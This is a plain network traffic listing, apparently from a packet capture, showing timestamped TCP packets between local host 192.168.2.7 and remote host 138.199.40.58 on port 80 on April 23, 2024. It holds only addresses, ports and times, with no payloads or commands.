Apr 23, 2024 08:39:59.137614012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.137655020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.137677908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.137681007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.137705088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.137729883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.137742996 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.137749910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.137775898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.137790918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.137825012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.137825966 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.137825966 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.137953043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.137968063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.138024092 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.138024092 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.138082027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.138096094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.138134956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.138168097 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.138194084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.138219118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.138221979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.138243914 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.138269901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.138283968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.138298035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.138298035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.138376951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.138720036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.138752937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.138767004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.138776064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.138816118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.138816118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.138875008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.139100075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.139113903 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.139142036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.139161110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.139164925 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.139182091 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.139197111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.139206886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.139241934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.139266968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.139317989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.139327049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.139473915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.139492035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.139514923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.139530897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.139555931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.139601946 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.139761925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.139884949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.139909029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.139952898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.140038967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.140053988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.140064955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.140078068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.140084982 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.140117884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.140136957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.140144110 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.140157938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.140182972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.140209913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.140264988 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.140333891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.140347958 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.140405893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.140405893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.140556097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.140623093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.140645981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.140691042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.140707016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.140762091 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.140835047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.140847921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.140876055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.140888929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.140892029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.140892029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.140912056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.140980005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.141030073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.141119003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.141144991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.141215086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.141228914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.141236067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.141251087 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.141282082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.141299963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.141304016 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.141335964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.141335964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.141360998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.141374111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.141396046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.141417027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.141437054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.141442060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.141465902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.141509056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.141509056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.141546965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.141567945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.141590118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.141616106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.141639948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.141695023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.141756058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.141829014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.141880035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.141906023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.141911030 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.141932964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.141992092 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.142069101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.142142057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.142155886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.142163038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.142167091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.142188072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.142188072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.142214060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.142235994 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.142400026 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.142466068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.142509937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.142523050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.142529964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.142540932 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.142591953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.142611980 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.142668009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.142688990 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.142730951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.142765045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.142796040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.142829895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.142852068 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.142962933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.142976046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.142983913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.143027067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143040895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143049955 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.143099070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.143099070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.143111944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143136978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143162012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143181086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.143260956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143265009 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.143274069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143285990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143296957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143310070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143320084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.143321991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143335104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143341064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.143347025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143352985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.143359900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143404007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143414974 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.143414974 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.143415928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143429041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143436909 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.143440962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143469095 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.143488884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143512964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143513918 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.143526077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143532991 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.143549919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143564939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143572092 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.143577099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.143583059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.143598080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.143656015 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.144002914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.144090891 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.144195080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.144315004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155065060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155092955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155117035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155139923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155189037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155265093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155282974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155309916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155323029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155333042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155333042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155339003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155386925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155395985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155395985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155400038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155424118 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155443907 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155456066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155469894 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155507088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155522108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155529022 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155540943 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155607939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155627012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155639887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155651093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155683994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155698061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155704975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155709028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155715942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155729055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155767918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155781031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155790091 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155817986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155819893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155819893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155843973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155865908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155880928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155905962 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155920982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.155941963 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.155989885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156002998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156011105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156038046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156059027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156063080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156084061 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156133890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156147003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156152010 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156160116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156172037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156183958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156183958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156198025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156210899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156210899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156241894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156255007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156263113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156266928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156274080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156279087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156289101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156321049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156321049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156322956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156337976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156371117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156384945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156392097 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156395912 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156419992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156419992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156441927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156477928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156491041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156502962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156516075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156526089 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156622887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156636953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156649113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156649113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156668901 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156682014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156702995 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156738043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156759024 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156800032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156826973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156841040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156855106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156862020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156866074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156867981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156889915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156912088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.156972885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156989098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.156996965 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157006979 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157042980 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157068968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157083035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157094955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157114983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157155991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157177925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157188892 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157188892 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157198906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157229900 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157242060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157260895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157274008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157294035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157309055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157322884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157336950 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157346010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157360077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157360077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157371998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157396078 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157409906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157423019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.157433033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157438993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157481909 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.157485008 CEST	80	49705	138.199.40.58	192.168.2.7
